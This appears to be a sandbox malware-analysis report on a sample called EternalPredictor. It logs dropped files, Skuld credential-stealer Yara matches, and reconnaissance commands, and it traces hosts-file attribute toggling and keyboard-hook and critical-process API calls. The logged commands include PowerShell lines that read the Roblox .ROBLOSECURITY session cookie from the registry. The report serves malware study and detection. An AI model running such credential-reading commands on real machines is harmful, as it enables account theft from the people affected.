Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff6ba8f0000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	05:21:34
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff70e8b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	05:21:35
Start date:	17/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff7cb090000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	05:21:35
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
Imagebase:	0xbe0000
File size:	10'375'680 bytes
MD5 hash:	DBBD2127D1030E4C9548FDF7DE9983A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000004A.00000002.1701196379.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: 0000004A.00000002.1701196379.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	05:21:35
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	05:21:35
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8012, Parent PID: 3828

General

Target ID:	77
Start time:	05:21:35
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	05:21:35
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	05:21:35
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	05:21:36
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff70e8b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	05:21:36
Start date:	17/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff7cb090000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	05:21:36
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7548, Parent PID: 7448

General

Target ID:	83
Start time:	05:21:36
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	05:21:36
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8076, Parent PID: 5440

General

Target ID:	85
Start time:	05:21:36
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	05:21:36
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff70e8b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	05:21:36
Start date:	17/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff7cb010000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	05:21:38
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6368, Parent PID: 5268

General

Target ID:	89
Start time:	05:21:38
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	05:21:38
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff70e8b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	05:21:39
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Roaming\XClient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\XClient.exe"
Imagebase:	0xa10000
File size:	71'168 bytes
MD5 hash:	7439CC991A9A756C41153B8E9121BAAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	05:21:40
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 636, Parent PID: 3648

General

Target ID:	93
Start time:	05:21:40
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	05:21:40
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	05:21:40
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff70e8b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	05:21:40
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	05:21:41
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	05:21:43
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff738e20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	05:21:43
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	05:21:43
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	148
Start time:	05:21:57
Start date:	17/11/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFB4A1204B5 Relevance: .6, Instructions: 618COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 555645982332767b2beada399075c3bc2cefa974d0cc753fa2fdc86bbfe815ca
Instruction ID: d75fe8fd8e7b7831405467f498903ce7974730e0621792c3fff5196619428054
Opcode Fuzzy Hash: 555645982332767b2beada399075c3bc2cefa974d0cc753fa2fdc86bbfe815ca
Instruction Fuzzy Hash: A55116A2A1DA8A1FF785AFBCC8791B8BBA5FF56210F5441F6D448D7183CD18AC418742

Function 00007FFB4A121131 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36be22876393db48e2ce8a0d83d2752b2177a30c4be5e01df481b6d78737aa64
Instruction ID: c6ca92e69675d972ec78d38680f13f12affea0dc9dd1c25081097b286ef258a9
Opcode Fuzzy Hash: 36be22876393db48e2ce8a0d83d2752b2177a30c4be5e01df481b6d78737aa64
Instruction Fuzzy Hash: 3321D872B099494FEB85FB7C88AD6BD7BD2EF99301B0400BAD44DC3693DE24AC018741

Function 00007FFB4A120969 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e5e1edd99b82e262fcad40e5a1fa7013c0fb53abefc299a36bbdaa228ac02a
Instruction ID: 3d8cf504e7ad811b66f059024436d53d8a760f3dcacdf21608e0d1b1a272cb9d
Opcode Fuzzy Hash: c2e5e1edd99b82e262fcad40e5a1fa7013c0fb53abefc299a36bbdaa228ac02a
Instruction Fuzzy Hash: 07A17471A196098FEB98EF78C568BAD7BE1FF55304F2142A9D019E3291CF389C46CB41

Function 00007FFB4A120D90 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b54b982398fd7af58e856fe69ea9ee2bb6d49a53d34e009f0d8babf34b5542
Instruction ID: 9a880b978b0ca63ad057109a53a8b28f8a29f4bb1b547f611aa151170cb5c12f
Opcode Fuzzy Hash: 43b54b982398fd7af58e856fe69ea9ee2bb6d49a53d34e009f0d8babf34b5542
Instruction Fuzzy Hash: 7031786284E3C24FE343AB749CB64A17FB49E5722070A41EBD4C4CB5A3D51CA98AC763

Function 00007FFB4A120498 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a751b02dc0f55ccfaf665229ec068b5b850c0d05067a9d62dcf3c64203479a4b
Instruction ID: 5243c84f13c59bb3cb739514860d3cda3ad63948a7e4f218515374a9cf16be02
Opcode Fuzzy Hash: a751b02dc0f55ccfaf665229ec068b5b850c0d05067a9d62dcf3c64203479a4b
Instruction Fuzzy Hash: 6F21B071B199094FEB94FB78889D6B976D6EF99301B10007AE80DC3692EE28AC018745

Function 00007FFB4A120F09 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6867c3800e0c523bd93d4d8a53008ac487b508e247ffa861229a4314dbe9cce
Instruction ID: c79f8efcc80c9ddfa7fb7c0f453ea78471dcefa03028e122bc1c831daa18b907
Opcode Fuzzy Hash: c6867c3800e0c523bd93d4d8a53008ac487b508e247ffa861229a4314dbe9cce
Instruction Fuzzy Hash: CB010492A5D58A0BF395AFBC98AA5F4ABC6DF8721074902FAD04EC7293DC0C9C418742

Function 00007FFB4A1204A0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6590331de2adf7556093acd646bd06a03467ede857ccf0de4c74f66a00bf50d9
Instruction ID: 827f00704e3a2bee25450bcc279640c206d616a50648cff5eaf33d9edad555be
Opcode Fuzzy Hash: 6590331de2adf7556093acd646bd06a03467ede857ccf0de4c74f66a00bf50d9
Instruction Fuzzy Hash: B5F0FE93B2D4460BF394BE7D98AD5F997CADF49111F5001B5E50ED3296DC0C9C414245

Function 00007FFB4A120E81 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef0d6ca0dc9bb9bd7b1ab2d778467116272f375c185e74cb70c20774d2e7ab0b
Instruction ID: e0cdaac8b400b2f47f0692effa4c766112ff2b0cb64a5a5f4870cdcae58d733f
Opcode Fuzzy Hash: ef0d6ca0dc9bb9bd7b1ab2d778467116272f375c185e74cb70c20774d2e7ab0b
Instruction Fuzzy Hash: B40149B1A2EA994FE745BF3CE46526573D5FF89304B1001BAC849C7392EE2CEC418782

Function 00007FFB4A1204A8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f8ffea086f91ee10249c19f34b1cc996b57461f801dbbe1bdc6185ed874ad0
Instruction ID: f8e74df71e511f88664993ace71368703226c09943ad16d92e90e901c8a34931
Opcode Fuzzy Hash: e2f8ffea086f91ee10249c19f34b1cc996b57461f801dbbe1bdc6185ed874ad0
Instruction Fuzzy Hash: D3F0F4B062D5164BE755BE3CE4551B973D9EF89314B2001BAD84EC3282CE28EC424786

Function 00007FFB4A1204B0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1523476833.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4a120000_EternalPredictor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b117b7f5eff043de388af495522db0f62f3d6c2834911b8993f453e7ac40f6
Instruction ID: 530392678e4e880f3cab013e5a75aebb00a84f4adfb2b632693b44383ec6501a
Opcode Fuzzy Hash: 85b117b7f5eff043de388af495522db0f62f3d6c2834911b8993f453e7ac40f6
Instruction Fuzzy Hash: 87F0F4B072C9154BE654BE38E46426973D9FF8D304B500179D80EC3380DE2CEC424B82

Analysis Process: eternal.exePID: 5604, Parent PID: 2852COMMON

Execution Graph

Execution Coverage:	24.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB4A13186D Relevance: 1.9, Strings: 1, Instructions: 625
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CAN_^, xrefs: 00007FFB4A131921

Memory Dump Source

Source File: 00000002.00000002.3242525370.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4a130000_eternal.jbxd

Similarity

API ID:
String ID: CAN_^
API String ID: 0-3098826533
Opcode ID: 670f34549caa67486924d89acff67afe75395a8cd0ae83b4aadeb72f074f9088
Instruction ID: 31422d7b30499139d98a305e76e9c9316d115dd956ac05693120c166dfec3366
Opcode Fuzzy Hash: 670f34549caa67486924d89acff67afe75395a8cd0ae83b4aadeb72f074f9088
Instruction Fuzzy Hash: 4812D2A1A2DA064FF799FF3CC85937977D2EF99340F6405B9D44EC3292DE28A8414781

Function 00007FFB4A137EC6 Relevance: .5, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.3242525370.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4a130000_eternal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91dc1e85a2e84f30548ecee33a4ac6da926ec8f0e4f1dcba5e80bac1ab2a8361
Instruction ID: e595aef33695952622d979090147e60074310cb96c5470aff6cc4f38caea2c9b
Opcode Fuzzy Hash: 91dc1e85a2e84f30548ecee33a4ac6da926ec8f0e4f1dcba5e80bac1ab2a8361
Instruction Fuzzy Hash: CFF1A47090CA8E8FEBA9EF28C8557E977E1FF55310F14426AE84DC7291CF3499458B82

Function 00007FFB4A139098 Relevance: .4, Instructions: 443
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.3242525370.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4a130000_eternal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66fa6a9aa59e98bf610279081a408d17ec8e5b380ae88833fe5ecf0d81bd79b8
Instruction ID: e904ee9fa13c5736cebc5abf3b9863d26f54281d3b4c4e0f324a5b43c81fd90f
Opcode Fuzzy Hash: 66fa6a9aa59e98bf610279081a408d17ec8e5b380ae88833fe5ecf0d81bd79b8
Instruction Fuzzy Hash: E6E1B27090CA4E8FFBA8EF28C8557E977E1FF55310F14826AE80DC7695DE34A9408B81

Function 00007FFB4A132059 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3242525370.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4a130000_eternal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 606722e531f10fdd310cccd94438fdf5ef1217719f6da9a1c96fae09fba3e6a7
Instruction ID: aa7780af6ea10916b025d83e4fb8d9aed527c8ae363cfb0ca528dfbce784f72a
Opcode Fuzzy Hash: 606722e531f10fdd310cccd94438fdf5ef1217719f6da9a1c96fae09fba3e6a7
Instruction Fuzzy Hash: 145102A0A1E6C54FE796BF7C8869275BFD5DF97215B1800FAE08DC71A3ED18580AC342

Function 00007FFB4A132FF1 Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFB4A1330C2

Memory Dump Source

Source File: 00000002.00000002.3242525370.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffb4a130000_eternal.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: 6cb1d8f23b00bac7ce6c7ff9d8aa07b57be4ed85f8be32dcb301ec75fb2eb5d7
Instruction ID: f5d973a462f6a602d5ee03ed9266ea65616496c6a0ee976e49da5d7dc658bd9d
Opcode Fuzzy Hash: 6cb1d8f23b00bac7ce6c7ff9d8aa07b57be4ed85f8be32dcb301ec75fb2eb5d7
Instruction Fuzzy Hash: 3F41337180C6498FEB19EF6CD849AF97BF0EF56321F14016FE08AC3582CB246846CB91

Function 00007FFB4A133208 Relevance: 1.6, APIs: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFB4A1332D1

Memory Dump Source

Source File: 00000002.00000002.3242525370.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

